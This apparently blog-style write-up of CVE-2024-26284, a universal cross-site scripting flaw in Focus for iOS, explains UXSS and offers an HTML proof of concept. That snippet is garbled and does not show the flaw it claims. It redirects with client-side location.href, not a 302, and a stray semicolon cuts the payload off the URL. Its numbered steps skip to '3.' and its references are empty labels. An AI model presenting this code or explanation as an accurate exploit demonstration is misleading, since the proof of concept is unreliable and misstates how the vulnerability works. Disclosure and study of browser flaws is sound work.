CVE-2024-26284: Exploiting a Universal Cross-Site Scripting (UXSS) Vulnerability using 302 Redirects in Focus for iOS

Introduction: Security researchers have discovered a new vulnerability, CVE-2024-26284, that allows an attacker to conduct a Universal Cross-Site Scripting (UXSS) attack on a victim website by utilizing a 302 redirect. This vulnerability specifically affects the Focus for iOS browser with version numbers lower than 123. In this detailed long-read post, we will discuss the exploit details, provide a code snippet to demonstrate the attack, and refer to original sources for a better understanding of this vulnerability.

Exploit Details: Universal Cross-Site Scripting (UXSS) is a type of security vulnerability that allows an attacker to inject and execute malicious scripts on websites that a user trusts, potentially leading to data theft, account takeover, and other malicious activities. A UXSS vulnerability differs from a regular Cross-Site Scripting (XSS) vulnerability in that it typically affects the browser or browser extensions, rather than individual websites.

In CVE-2024-26284, the attacker takes advantage of a particular implementation flaw in the Focus for iOS browser when handling 302 redirects. A 302 redirect is a server response that tells the browser to fetch a different resource (generally a new URL) than the one requested. If a victim website contains a link to the attacker's website, the attacker can manipulate the 302 redirect response to execute malicious JavaScript code in the context of the victim's website, leading to a successful UXSS attack.

Code Snippet: The following code snippet demonstrates how an attacker can exploit the CVE-2024-26284 vulnerability to perform a UXSS attack:

The attacker sets up a malicious website, which will be used to trigger the 302 redirect

<html>
  <head>
    <script>
      function performRedirect() {
        // Attacker-controlled JavaScript payload to be executed in the victim's website context
        var maliciousPayload = "alert('UXSS Vulnerability Exploited: CVE-2024-26284')";

        // Encoding the malicious payload to include it in the redirect URL
        var encodedPayload = encodeURIComponent(maliciousPayload);

        // Setting the 302 redirect response to point to the victim's website containing a vulnerable link
        location.href = "http://victim-website.com/?xss_payload="; + encodedPayload;
      }
    </script>
  </head>
  <body onload="performRedirect()">
    <p>Malicious Website</p>
  </body>
</html>

The victim's website includes a vulnerable link to the attacker's website

<a href="http://attacker-website.com">Visit our partner site!</a>

3. Upon clicking the link, the victim's browser will request the attacker's website, triggering the 302 redirect and executing the malicious JavaScript payload in the context of the victim's website.

Original References: To understand the complete technical details of the CVE-2024-26284 vulnerability and the associated UXSS attack, the following original sources provide valuable insights:

- Focus for iOS Security Advisory
- UXSS Attack Explained)

Conclusion: CVE-2024-26284 is a serious vulnerability in Focus for iOS that could potentially put users at risk of data theft and account takeover. By exploiting a 302 redirect, an attacker can successfully execute a Universal Cross-Site Scripting (UXSS) attack on a victim website if the victim contains a link to the attacker's website. Website owners and developers should be aware of this vulnerability and take necessary measures to protect their users. Users of the affected Focus for iOS browser should make sure to update to the latest version (123 and above) to avoid potential exploitation of this vulnerability.

Timeline

Published on: 02/22/2024 15:15:08 UTC
Last modified on: 02/22/2024 19:07:27 UTC